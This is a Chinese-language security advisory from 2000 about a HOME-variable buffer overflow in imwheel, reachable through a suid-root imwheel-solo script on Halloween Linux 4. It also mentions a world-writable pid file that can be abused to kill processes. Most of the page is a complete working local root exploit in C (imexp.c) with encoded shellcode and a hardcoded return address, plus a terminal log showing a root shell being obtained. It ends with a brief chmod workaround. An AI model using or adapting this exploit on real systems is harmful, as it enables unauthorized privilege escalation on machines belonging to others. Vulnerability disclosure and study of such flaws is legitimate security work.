发布日期：2000-03-18
更新日期：2000-03-18

受影响系统：

Halloween Linux Version 4 - imwheel

描述：

---

    在imwheel程序中没有检查"HOME"环境变量的长度，就将其复制到一个固定大小的buffer
    中，导致可能发生缓冲区溢出。而在Halloween Linux Version 4中，有一个perl脚本
    'imwheel-solo'被设置了suid root位，这个脚本调用了imwheel程序（以euid=0身份).
    因此，攻击者可以利用这个漏洞来得到本地的root权限。
    另外，存在一个任何人可写的pid文件，用户只要将要杀死的进程id写入这个文件中，就可
    能欺骗imwheel-solo脚本，让它发送SIGTERM信号给该进程，导致该进程终止。
    
<* 来源： S. Krahmer, C-Skills
            http://www.cs.uni-potsdam.de/homepages/students/linuxer/

          TESO
        http://teso.scene.at or https://teso.scene.at/
*>
     

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

    [stealth@liane stealth]$ id
    uid=500(stealth) gid=500(stealth) groups=500(stealth)
    [stealth@liane stealth]$ cd imhack/
    [stealth@liane imhack]$ stat `which imwheel-solo`
      File: "/usr/X11R6/bin/imwheel-solo"
      Size: 795          Filetype: Regular File
      Mode: (4755/-rwsr-xr-x)         Uid: (    0/    root)  Gid: (    0/    root)
    Device:  3,1   Inode: 214472    Links: 1
    Access: Mon Mar 13 17:32:22 2000(00000.00:04:38)
    Modify: Mon Nov  1 23:41:15 1999(00132.17:55:45)
    Change: Sun Mar 12 17:49:43 2000(00000.23:47:17)
    [stealth@liane imhack]$ cc imexp.c
    [stealth@liane imhack]$ ./a.out
    Creating boom-shell...
    Creating shellcode...
    You can also add an offset to the commandline.
    Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer
    Respect other users privacy!
    Invoking vulnerable program (imwheel-solo)...
    imwheel is not running as a daemon.
    imwheel is not checking/writing a pid file, BE CAREFUL!
    An imwheel may be running already, two or more imwheel processes
    on the same X display, or using gpm -W, will not operate as expected!
    imwheel started (pid=1385)
    Knocking on heavens door...
    sh-2.03# id
    uid=0(root) gid=500(stealth) groups=500(stealth)
    sh-2.03#

imexp.c

/*** Halloween 4 local root exploit for imwheel-solo. Other distros are
*** maybe affected as well.
*** (C) 2000 by C-skills development. Under the GPL.
***
*** Bugdiscovery + exploit by S. Krahmer & Stealth.
***
*** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
***
*** other advisories and kewl stuff at:
*** http://www.cs.uni-potsdam.de/homepages/students/linuxer
***
***/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>



/* chown("/tmp/boomsh", 0, 0); chmod("/tmp/boomsh", 04755);
*/
char shell[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x58\x80\x36\x01\x46\xe2\xfa"
"\xea\x0d\x2e\x75\x6c\x71\x2e\x63\x6e\x6e\x6c\x72\x69\x01\x80\xed"
"\x66\x2a\x01\x01\x54\x88\xe4\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xab\x11"
"\x01\x01\x30\xc8\x8c\xb2\x3b\xee\xfe\xfe\xb9\xb7\x01\x01\x01\x88\xcb\x52\x88"
"\xf2\xcc\x81\xb8\xec\x08\x01\x01\xb9\x0e\x01\x01\x01\x52\x88\xf2\xcc\x81\x30"
"\xc1\x5a\x5f\x88\xed\x5c\xc2\x91\x91\x91\x91\x91\x91\x91\x91";


/* filename-buffer plus ret + ebp
*/
#define buflen (2048+8)

int main(int argc, char **argv)
{                                       
    char *im[] = {
        "/usr/X11R6/bin/imwheel-solo",
        0
    };
    char *a[] = {
        "/tmp/boomsh",
        0
    };
    FILE *f;
    struct stat s;    
    char boom[buflen+10];
    int i = 0, j = 0, ret =  0xbfffee68;    /* this address works for me */

    if ((f = fopen("/tmp/boomsh.c", "w+")) == NULL) {
        perror("fopen");
        exit(errno);
    }
    printf("Creating boom-shell...\n");
    fprintf(f, "int main() {char *a[]={\"/bin/sh\",0};\nsetuid(0);\nexecve(*a, a, 0);\nreturn 0;}\n");
    fclose(f);
    system("cc /tmp/boomsh.c -o /tmp/boomsh");

    printf("Creating shellcode...\n");
        memset(boom, 0, sizeof(boom));
    memset(boom, 0x90, buflen);
    if (argc > 1)
        ret += atoi(argv[1]);
    else
        printf("You can also add an offset to the commandline.\n");
    for (i = buflen-strlen(shell)-4; i < buflen-4; i++)
        boom[i] = shell[j++];
    *(long*)(&boom[i]) = ret;
    
    printf("Get the real deal at http://www.cs.uni-potsdam.de/homepages/students/linuxer\n"
           "Respect other users privacy!\n");
    
    setenv("HOME", boom, 1);
    setenv("DISPLAY", ":0", 1);
    
    printf("Invoking vulnerable program (imwheel-solo)...\n");
    if (fork() == 0) {
        execl(im[0], im[0], im[1], im[2], 0);
    }
    sleep(4);
    
    memset(&s, 0, sizeof(s));
    stat("/tmp/boomsh", &s);
    if ((S_ISUID & s.st_mode) != S_ISUID) {
        printf("Boom-shell not SUD-root! Wrong offset or patched version of imwheel.\n");
        return -1;
    }
    /* Huh? :-)
     */
    printf("Knocking on heavens door...\n");
    execve(a[0], a, 0);
    return 0;
}


建议：

---

临时解决方法：

chmod a-s `whcih imwheel-solo`

浏览次数：6534
严重程度：0（网友投票）